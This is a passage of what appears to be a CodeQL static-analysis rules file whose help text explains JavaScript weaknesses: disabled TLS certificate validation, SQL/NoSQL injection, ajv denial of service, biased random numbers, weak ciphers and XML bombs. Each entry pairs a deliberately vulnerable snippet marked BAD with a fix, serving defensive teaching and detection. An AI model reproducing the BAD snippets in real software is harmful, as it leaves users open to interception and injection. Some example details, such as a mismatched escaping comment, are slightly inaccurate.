temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n  {\n    hostname: \"secure.my-online-bank.com\",\n    port: 443,\n    method: \"POST\",\n    path: \"send-confidential-information\",\n    rejectUnauthorized: false // BAD\n  },\n  response => {\n    // ... communicate with secure.my-online-bank.com\n  }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n","markdown":"# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n  {\n    hostname: \"secure.my-online-bank.com\",\n    port: 443,\n    method: \"POST\",\n    path: \"send-confidential-information\",\n    rejectUnauthorized: false // BAD\n  },\n  response => {\n    // ... communicate with secure.my-online-bank.com\n  }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n"},"properties":{"tags":["security","external/cwe/cwe-295","external/cwe/cwe-297"],"description":"Disabling cryptographic certificate validation can cause security vulnerabilities.","id":"js/disabling-certificate-validation","kind":"problem","name":"Disabling certificate validation","precision":"very-high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/sql-injection","name":"js/sql-injection","shortDescription":{"text":"Database query built from user-controlled sources"},"fullDescription":{"text":"Building a database query from user-controlled sources is vulnerable to insertion of malicious code by the user."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // BAD: the category might have SQL special characters in it\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    req.params.category +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: use parameters\n  var query2 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n  pool.query(query2, [req.params.category], function(err, results) {\n    // process results\n  });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      SqlString = require('sqlstring'),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: the category is escaped using mysql.escape\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    SqlString.escape(req.params.category) +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n  \"Todo\",\n  new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n\n  await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n  res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n  res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  if (typeof id !== \"string\") {\n    res.status(400).json({ status: \"error\" });\n    return;\n  }\n  await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n  res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n","markdown":"# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // BAD: the category might have SQL special characters in it\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    req.params.category +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: use parameters\n  var query2 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n  pool.query(query2, [req.params.category], function(err, results) {\n    // process results\n  });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      SqlString = require('sqlstring'),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: the category is escaped using mysql.escape\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    SqlString.escape(req.params.category) +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n  \"Todo\",\n  new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n\n  await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n  res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n  res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  if (typeof id !== \"string\") {\n    res.status(400).json({ status: \"error\" });\n    return;\n  }\n  await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n  res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n"},"properties":{"tags":["security","external/cwe/cwe-089","external/cwe/cwe-090","external/cwe/cwe-943"],"description":"Building a database query from user-controlled sources is vulnerable to insertion of\n              malicious code by the user.","id":"js/sql-injection","kind":"path-problem","name":"Database query built from user-controlled sources","precision":"high","problem.severity":"error","security-severity":"8.8"}},{"id":"js/resource-exhaustion-from-deep-object-traversal","name":"js/resource-exhaustion-from-deep-object-traversal","shortDescription":{"text":"Resources exhaustion from deep object traversal"},"fullDescription":{"text":"Processing user-controlled object hierarchies inefficiently can lead to denial of service."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n","markdown":"# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"},"properties":{"tags":["security","external/cwe/cwe-400"],"description":"Processing user-controlled object hierarchies inefficiently can lead to denial of service.","id":"js/resource-exhaustion-from-deep-object-traversal","kind":"path-problem","name":"Resources exhaustion from deep object traversal","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/biased-cryptographic-random","name":"js/biased-cryptographic-random","shortDescription":{"text":"Creating biased random numbers from a cryptographically secure source"},"fullDescription":{"text":"Some mathematical operations on random numbers can cause bias in the results and compromise security."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n    digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n    const byte = crypto.randomBytes(1)[0];\n    if (byte >= 250) {\n        continue;\n    }\n    digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n","markdown":"# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n    digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n    const byte = crypto.randomBytes(1)[0];\n    if (byte >= 250) {\n        continue;\n    }\n    digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n"},"properties":{"tags":["security","external/cwe/cwe-327"],"description":"Some mathematical operations on random numbers can cause bias in\n              the results and compromise security.","id":"js/biased-cryptographic-random","kind":"problem","name":"Creating biased random numbers from a cryptographically secure source","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/weak-cryptographic-algorithm","name":"js/weak-cryptographic-algorithm","shortDescription":{"text":"Use of a broken or weak cryptographic algorithm"},"fullDescription":{"text":"Using broken or weak cryptographic algorithms can compromise security."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms may compromise security guarantees such as confidentiality, integrity, and authenticity.\n\nMany cryptographic algorithms are known to be weak or flawed. The security guarantees of a system often rely on the underlying cryptography, so using a weak algorithm can have severe consequences. For example:\n\n* If a weak encryption algorithm is used, an attacker may be able to decrypt sensitive data.\n* If a weak hashing algorithm is used to protect data integrity, an attacker may be able to craft a malicious input that has the same hash as a benign one.\n* If a weak algorithm is used for digital signatures, an attacker may be able to forge signatures and impersonate legitimate users.\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n","markdown":"# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms may compromise security guarantees such as confidentiality, integrity, and authenticity.\n\nMany cryptographic algorithms are known to be weak or flawed. The security guarantees of a system often rely on the underlying cryptography, so using a weak algorithm can have severe consequences. For example:\n\n* If a weak encryption algorithm is used, an attacker may be able to decrypt sensitive data.\n* If a weak hashing algorithm is used to protect data integrity, an attacker may be able to craft a malicious input that has the same hash as a benign one.\n* If a weak algorithm is used for digital signatures, an attacker may be able to forge signatures and impersonate legitimate users.\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n"},"properties":{"tags":["security","external/cwe/cwe-327","external/cwe/cwe-328"],"description":"Using broken or weak cryptographic algorithms can compromise security.","id":"js/weak-cryptographic-algorithm","kind":"path-problem","name":"Use of a broken or weak cryptographic algorithm","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/xml-bomb","name":"js/xml-bomb","shortDescription":{"text":"XML internal entity expansion"},"fullDescription":{"text":"Parsing user input as an XML document with arbitrary internal entity expansion is vulnerable to denial-of-service attacks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n  expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = new expat.Parser();\n  parser.on(\"startElement\", handleStart);\n  parser.on(\"text\", handleText);\n  parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&amp;`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = sax.parser(true);\n  parser.onopentag = handleStart;\n  parser.ontext = handleText;\n  parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n","markdown":"# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n  expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = new expat.Parser();\n  parser.on(\"startElement\", handleStart);\n  parser.on(\"text\", handleText);\n  parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&amp;`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = sax.parser(true);\n  parser.onopentag = handleStart;\n  parser.ontext = handleText;\n  parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"},"properties":{"tags":["security","external/cwe/cwe-776","external/cwe/cwe-400"],"description":"Parsing user input as an XML document with 